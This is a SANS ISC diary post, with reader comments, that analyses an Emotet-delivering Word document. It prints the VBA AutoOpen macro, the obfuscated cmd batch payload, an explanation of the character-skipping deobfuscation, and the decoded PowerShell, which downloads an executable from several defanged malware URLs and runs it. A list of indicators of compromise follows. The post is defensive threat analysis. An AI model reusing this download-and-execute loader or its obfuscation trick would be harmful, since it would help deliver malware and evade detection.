Threat Level: green Handler on Duty: Lorna Hutcheson

SANS ISC: Windows Batch File Deobfuscation - SANS Internet Storm Center SANS ISC InfoSec Forums


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Windows Batch File Deobfuscation

Last Thursday, Brad published a diary[1] about a new ongoing campaign delivering the Emotet[2] malware. I found another sample that looked the same. My sample was called 'Order-42167322776.doc’ (SHA256:4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3[3] and looked the same as the one analyzed Brad. The infection chain was almost the same:

Spphishingsing > URL > Word > Batch File > Powershell Script > Emotet

I checked deeper the VBA macro and the batch file (launched via cmd.exe). The Word document contains indeed a macro that is split into two parts:

$ oledump.py Order-42167322776.doc
  1:       114 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:       416 '\x05SummaryInformation'
  4:     13510 '1Table'
  5:     42348 'Data'
  6:       451 'Macros/PROJECT'
  7:        89 'Macros/PROJECTwm'
  8: M   55285 'Macros/VBA/YaRCzHvjhlTcHt'
  9:     22067 'Macros/VBA/_VBA_PROJECT'
 10:      1259 'Macros/VBA/__SRP_0'
 11:       106 'Macros/VBA/__SRP_1'
 12:       292 'Macros/VBA/__SRP_2'
 13:       103 'Macros/VBA/__SRP_3'
 14:       592 'Macros/VBA/dir'
 15: M    2444 'Macros/VBA/jovqOBvRlNiVR'
 16:      4096 'WordDocument'

"jovqOBvRlNiVR" contains the AutoOpen() function and is quite simple:

Sub AutoOpen()
On Error Resume Next
   MJjaaH = SrzLBh
   TwYpd = CInt(FjzBj / ZzUKNO * 22030 - hQFSJl)
   uSrnF = 6
   wMYIzu = "" + MvMVUIGZN + RzzzQipROnucPw + CVar("cm") + CUhRviLXzwY + DHNLKdV + UIzWwNJL + uTAvWVmp + \
            hQqafY + tSJJEbjfzB + izvaAvGAmP + SOFJuJaEO + ianZnrivkS + vZDKCH + wDMhH + EGjJhOqrk + lUMFX + \
            YYjizjCt + OqCbYKOQaS + RYChw + aNDaSPHasQv + GqfXVKsnm + iWCddKj + SDVHwnicz + lflGdnRMqRY + \
            wCVNHkNZT + YuNliTfZY + HtbXa + bHmVdV + iOOQT + VGQrzww + CKnZks + DdBvD + RqTQibQWN + \
            JdUbOITBWT + iWYrkMLij + zajJrhOX + FEIGUiLKbR + lJHtrLSnmF + SnqSzzuQoU + KjGShTf + ltBbWwG + \
            hlnMJDiBPLq + mdCuwmM + ZIchFfzzm + BhNIuiTAZHiYuw
   XtHEU = 311
   rGjsB = CBool(5)
Shell@ wMYIzu, 0
   aoLiA = Cos(4874)
End Sub

The module "YaRCzHvjhlTcHt" contains more functions and the real obfuscated code. The code is easy to understand: multiple functions are called and each of them returns a piece of obfuscated code that is concatenated to generate (and launch) an interesting batch file. Here is a dump of the generated code (beautified):

cmd /c  CMd  /v: /c "sEt '{@]=\_\_---/-\_\/_/ //\_-_-\\\--/__ -/_/_\-\--\//_\ \//_-\-_\/_-/-\ -\_\-/-_//\_-_/ 
\/_///_\_---_-\ /\_-_-_/--\_/\\ \-\\//__/-/-_\- \/\/_\/_-\/-__- -_-\/\\_-_///\- //-__--\_-\//_\ --_\_///-\\-\
/_ _/-\\-\/\-_/-__ --_//__--_/\\\\ -\/_\-/_\/-\/-_ _/-/\\\/-__/\-- --\/-//\/\_\-__ --/\___/\//\_\-}\\/-__/-_/
/_\\-}\\//_\\_--_/--_{_-//__-\/\--/\\h_/\/_/\-/\-_--_c_\_/\/-\--/\/-_t//_\--\_//\--\_a\-_\\__--/-///\c/-\_/-_
\_\/_-/-}/\_/\\___-/--\-;_-/_--//\\-/\\_k\_/-_\//_-_-\\/a-\/\/_-/-\-\_/_e-_\_-\-/_/\//-\r-//_\_\_\-_-//\b--\_
//\-_//\__-;//\/\-_-\\/_-_-h-_-\/_-\\/_//_\c-/\-_\///\\_-__t-\-_/-/\/-_\_/_$_\/-_\-\-\/-/__ //_\---\_/-\/__s-
/\/_/-\_-\-__\s/-//\_/\-\_-__-e--\\_--//__//\_c-\-\\///__\--/_o\_\/-\-/\-/_-__r_\---_\\///-\_/P\__-//-_\\//_-
--/_\/--\-__/\_-/t\//___/-/\\\-_-r\\-\-/\-_/-/_/_a/\-/\\\/-/-____t-/\__\_/-\/--\/S-__/-\\__--\/\/;\_\-\//--__
\_/-)-\-_//_\--//\__h/\-_/--_\\\__/-c\-\_-_//-/_\-_/t_//-_/_\-\-\-/\$--/__-/\_/_-/\\ -\/__//-\_-/\\_,\\/-_\_/
--_\_-/z\/-\/_//_-_\-_\U/__-\_\/-/-\-\_C--_--\__////\\\$/-\__--/\_\\/_/(-/-_/_/__\-/\\-e/\\\_/\-_-//__-l_//\\
/_--_/\--_i_\//-/\_\---_/_F\\__/_\-\--_///d-_\\\-/__//-_\-a_-/-\\/-__\-//\o\-/\__-\_-///-\l/\//_--\_\__\--n_-
_\\-\/_\/-/_-w_\\/-\_//_---_/o-//__\/\-\\-_-_D//\/--_--__\/\_.//\/\/-\__--_-\s//-_\_/\_\\_/--i/\/_-_-/\\/__\-
o_-/_/-/\\__\\--$\\-/-_\-/_/_-\/{_-\/\-\//_-\/__y-\_/_/_-/-\-\/_r\//-/_-\_-\\-__t-//_-\/-\-\_\__{-_/\-_\\\-//
__-)_-/\_\/\-//-_\_Y\-//-\-_\/-__\_U/-_/\-/-\__\_-/w/\-__\_-\/\-/-/$\/\_\-///\--___ /\-/-_-__/_\-\\n/__-\-/\\
/\/_-_i//_\-_\_\--\/_/ -___//_/\--\/\-z-_//\-_-//-\\\_U/\--_/-_\\-_/\_C/\_\-\-_/-_/\_/$/--\\__\//_-/\-(_-_//\
\\\_-/-_/h_///\\\-_--/_\_c\-_/_-/\_\-_/\-a/\-\--\//-__/__e-\///-\/_\-\-__r_/--//\\\\/___-o-//-\_/\-_/-_\\f/_/
-\_-//-\__\\;_\_--/\\_/--//_'/-_-\-//\__\/\-e/\-\-_//\\-_/__x/_-__\\\_--\-//e--_-/\-/\_\//__./____\/\\/-\/--'
//-\_\_---/_/_\+-\/--\\\/__-//_q-\\__/-\/_\-_/-L/-/\-_/-_/\\-_\V_-\\_\--///-_\_$/\-__//-\/\\__-+-/-_-_//\-_\\
\/'\\-_-_///\--/__\\_\\__-_//-/-/-'-_-/_-\/\-/\\__+\_/\\//_----_\/p\/\-\/__/-/__-\m_\/-_-/\__-/-\/e/\/_/\-__\
\-/-_t/-\__\-/\-/_\_/://\-\-/_\\_--_/v/--\__/_/_-\\/\n//--\__\__\--\/e-_/-/_/\\/\_-_-$\_-\\_\-///--/_=//\\-\/
_-__/-_-h_/-\/-//_\\_-\_c-/_-/\/\__\-/\-t\\-__//_/\_-\/-$\-_//-\_-/__/\-;-/\-_//\-/\_\-_'/-/--\_\-/_\/__6\-_/
//\/\-_-_-_8\-_-/-_\/\_/-\_9_/-\-__\/-/_\-/'/-_/\-_\_//-\-_ __\\\-/_--//-\/=\__\-\--\/_//-/ -_/\-/\_/-/-\\_q\
-__\_-//\/\-/-L\\--/_//_\-/\_-V-//___/\--\-\\_$\-//_/_\--/\\__;\/_/\-/_\/--\-_)\_-/__-_/-\-//\'-_/\/--_/_-\\/
\@-\-/-_/_/\-_\_/'\_\-\__-/_--///(\-\\/--\/_/-/__t\-\/-/-\//_\__-i__-/-\\\//\_-_/l-//\-/_-\\\/___p_-\/\\-/_/_
-_\-S/-\\\__/--__\/-.\\-\/__\_/_/--/'\-_/-/-//-\\\__m-_\\-\/_/_\-/_/a_//\\\__--/-\_-/_\_-_\/-\/\//_-k\/_/-__/
\\-\-_/u\\/_//\_-/\_---.//\\-\-/_\__/--o\_/-\_/\_-//_-\c\-/_\-_//-\/_-\.\/_\///_\--\-_-e/\-___\-//\\/_-g/--_\
-_-\/\\__/a--\\_\-/__/\_//u-_\/_\\//-_-/\_g-_\/_/_-/-_/\\-n_//--_\\/\/_--\a\_//-\--\___//-l-_\//-_/_/\_-\-t-_
-_/\\_//-/\\-i\__\\/---_\-//_/-/\-_/--\/__\_\//_/\\---\/___-/:-\\-/_-/_-__/\\p__---/-_\//\\\_t-\_//\/_-_-\\/-
t_/\\-__\--_/-/\h\-//\-_\/_/-__\@//--_/\/\\\-_-_X\_/-\_\\-//_-_-v-\/_\-\\//--/__7_--\-\_/_\_//-\Q/-/_-\\--_//
\_\d\/_\/-_--/_/\-_c-_//_/\-\\-/\-_/_/--//-\-\/\__\n/\_-/\_\/-\__-/v\--/--\//_\_\/_.-/_\_-\\__--\//m/\-\/_-_/
--\/_\o--//\\_/__-\-\_c-///\\__--/__\-._\_-//_/---\_\\o_-\-_-/_/-_/\\\c-___-/_/\--\/\/h_-\-\_--/\\_///c\\--\-
__//-_/_\e/_\_\_\----_///t_\/\/\--_--_/\_a___/--\/\_-\\///-_/\\/--/\/-\__//\_--/-\_\/_-/_:-/___/\/_-\\-/-p_/-
-\-_\\/-__/\t\/\/_\_/-_--_\-t_\-/\/\-/_/-_-_h//_\__/--\/\-_-@\-/--\-\_/_/_/\K/-/\-/_-/\_\_-_4\-/_\_/_-\\//-_b
\/\_/_--/-/_\_-R\-//_/-_\\__-/-0\-_\/_/_/---\_\S/_/-\\//___\-\-G/-\\--/\/\_/__-/\___/--/\\/\--_w_/\/--\_-\_-\
_/t__\--_\--/_//\\._/_-\\_-\-\_/-/m\--/\_//\_/\-_-o\/\\\_-//___---c/_/__/-\/\-_-\\._//__--\/-\/_-\t-__\/\--\/
/-/_\i\_-__/\-/\-/\-/p-///_\_-_\-/_\-u//-__/-_--\/\\_/-/-__\\//\-\_-_/_/_//\-\_-_/\--:-__/_\\/\-_-/\/p_\\/--_
-//__\-\t//-\\_\_/-\--_/t\\\/__///---\_-h_\/_/--\/\-__/\@-_\/\__\_\-/-//X\-/\-_-\\/-//__1--_\\/\\/_/_/-_K-_-/
_\_/--/\\_\/\/--\__-\_\/-_/g//\/__\__-/-\-\r//\-_\-___/\-/\o-\--/__-/\\_\/_.///_\-_\_-/-\_\e\\/_--_\-///-_\t-
_--_\/\-\__\//u/_/--/_\-\_/_\\a--_\\_\/_\-//-/b\_//_-/\/\_-_--/__\-\/\-\_//--_/-__--/_\\\//_/\:/_\\/_--/--__/
\p\_-\/-/__\//\-_t__-_-_/-/-\\\//t/_--\-_/_\/_\\-h-_\\_///-_-\_/-@-_\_-//_--/_\\/p__\\-/\-/-\-//_e/\_\_-/-_\-
\//_e\\-_/_-/-_\_-/\B/---_\///\_-\__P/\\_-/__\/-_/\-/\-\/\--_//-_\_/m\\\_-/_--/__-\/o//_\/_\-__-\/\-c/_//_--\
/\_-\_\._/--/_/\_-/_\-\s-__\/_-\/-_\-\/r__-//\\_--\//_\o/\__/\\-//_-_-\t//-_-_\-__\\/-/c/\_-/\/_--/_\\_a\\/_\
-/___-\--/g-_/_-\_-\//_/-\n\/_-\/-/\_-__\/u\\/_/_\---_\_//o/\//-_-\/_\-\__y_/-\_-/\\-_/_\/c/-_/\--_\\/\_-/o_\
-\/_/-_-\-_//./_\--___/\-\/-\w_\-//\/_\_-_-\-w_\-_-/\-/\\-/__w--/_/\/\-_/_\-_/\_\//__--/_/-\-/_//_-/--\\/\_\_
:-//--\_\_/\-_\_p_\\\\_/-_-//-_-t_/_/-/_\\\--\/-t__-/\\_--_\/-/\h/_-//\/_\---_\\'_//_/--_\\-\_-\=_/--\--_\_\/
_//Y-//_\/\_-_\_--\U-_/_\-\-_\///-_w_\/---//_/-_\\\$\\//-\_\/-_/_-_;--///_\\/__\-\-t-/\/-__-\/-_\\/n/\-_/_\__
\//---e\_\--_/__\/\--/i///--__\_\\_\-/l\--_-_\/_-\/_//C//___\/\_----/\b_/\/_\\--\__-//e--\_/_\/-/\_-/_W/--_-/
\\__/\\-_.-_\\-/\_/_-/\/_t_-/_/\_-\/\-_\/e/-\/-_/_\_\\/--N/_\-_\-__\//\-/ -\/\-_-_\__/\-/t\_\-\/-_///_\-_c-/_
--\_\//_\-_\e\\/---\/-__\/__j/_\/_\\_-/_--/\b_-/_/-_\-/\_\-/o-__\-/-\/__/-\/-_/-/--_/_/\\\\-w_-//---_/__\\/\e
__\_\-/-\/-\/_/n\\/-\__\_/_/-/-=//-\_\/\/__--_\s\//-/\-/-__\-__i-_\_-/_/\_\-//\o\/_\-\_-//_\--/$\///\\/_--\__
-_ /\\\/\-_/-___--l/_/_\-_-_\\-//-l\_-\-\/\-_//_/_e_-\_\--\/_//\/_h_--_\\/\//\__/-s/--_\\-/\//-\__r/_\-\/_/--
-\_/_e\\_-\-\/-_///-_w_\__/\\/--\-/-/o\//_\-\\_//--_-p && 
fOR /L  %h IN (5583, -16, 15) dO sET }{~'=!}{~'!!'{@]:~ %h,  1!&&IF  %h   lss 16 CALL  %}{~':*}{~'!=%“

At first sight, it looks more like some ASCII art but it contains indeed some interesting code. I started to deobfuscate it manually and removed the following characters: ‘-‘, ‘_’, ‘/‘, ‘\’. The result string was the following:

}}{hctac};kaerb;hct$ ssecorPtratS;)hct$ ,zUC$(eliFdaolnwoD.sio${yrt{)YUw$ ni zUC$(hcaerof;'exe.'+qLV$+''+pmet:
vne$=hct$;'689' = qLV$;)'@'(tilpS.'maku.oc.egaugnalti:ptth@Xv7Qdcnv.moc.ochceta:ptth@K4bR0SGwt.moc.tipu:ptth@X1
Kgro.etuab:ptth@peeBPmoc.srotcagnuoyco.www:ptth'=YUw$;tneilCbeW.teN tcejbowen=sio$ llehsrewop

Read it from right to left: ‘powershell …'

The interesting code is the following (beautified):

for /L  %h in (5583, -16, 15) do
    set }{~'=!}{~'!!'{@]:~ %h,  1!
    if  %h lss 16 call %}{~':*}{~'!=%

Variable names are also obfuscated:

  • "{@]" contains the obfuscated string
  • "}{~':*}{~’!" contains the result string

The result string is built by reading one character every 16 positions starting from the end (position 5583). This gives us: ‘p’, ‘o’, ‘w’, …
Once we reach the beginning of the string, %h is lower than 16, the string is executed. Here is the deobfuscated code:

powershell $ois=new-object Net.WebClient;$wUY='hxxp://www.ocyoungactors[.]com/PBeep@hxxp://baute[.]org/K1X@ \
hxxp://upit[.]com.tw/GS0Rb4K@hxxp://atechco[.]com.vn/cdQ7vX@hxxp://itlanguage.co[.]uk/am'.Split('@');
$VLq = '986’;
$tch=$env:temp+'\'+$VLq+'.exe’;
foreach($CUz in $wUY) {
    try {
        $ois.DownloadFile($CUz, $tch);
        Start-Process $tch;
        break;
    }
    catch{}
}         

The Powershell code tries to download the second stage (Emotet) from multiple URLs, dump it to disk and executes it. 

Conclusion: Windows batch files can also be used to deliver obfuscated malicious content and can be very complex. The Windows cmd command line tools have plenty of options[4] and have nothing to envy of the UNIX shells like Bash.

Here are the interesting IOC’s:

  • hxxp://cartan[.]eu/files/EN_en/Invoice/Order-42167322776 (Word document dropper)
  • hxxp://www.ocyoungactors[.]com/PBeep
  • hxxp://baute[.]org/K1X
  • hxxp://upit.com[.]tw/GS0Rb4K
  • hxxp://atechco.com[.]vn/cdQ7vX
  • hxxp://itlanguage.co[.]uk/am
  • 986.exe (SHA256:d61687a80d697d4f2fe5d4267a1c8c2b9a763328e462c99b490f4da9dcfa6b7b)
  • edgeref.exe (SHA256:77d098759f3b498b548d482c7214b6b5677e27520abcf50d2445fc8ade05aad4)
  • Order-42167322776.doc (SHA256:4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3)

[1] https://isc.sans.edu/forums/diary/Recent+Emotet+activity/23908/
[2] https://www.us-cert.gov/ncas/alerts/TA18-201A
[3] https://www.virustotal.com/#/file/4d600ae3bbdc846727c2922485f9f7ec548a3dd031fc206dbb49bd91536a56e3/detection
[4] https://ss64.com/nt/

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

Xme

433 Posts
ISC Handler
Quote:Variable names are also obfuscated:

"{@]" contains the obfuscated string
"}{~':*}{~’!" contains the result string


The obfuscation is apparently successful: Xavier can't deobfuscate it!
The variable is }{~'
The construct %<variable>:<substring>=% removes <substring> from the variable and yields the result.
Anonymous
Thank you for reporting this error. You're right.
I tried to understand what happened and found: When I clicked on the string in my editor, the complete string was selected and I copy/pasted it without checking...
Xme

433 Posts
ISC Handler

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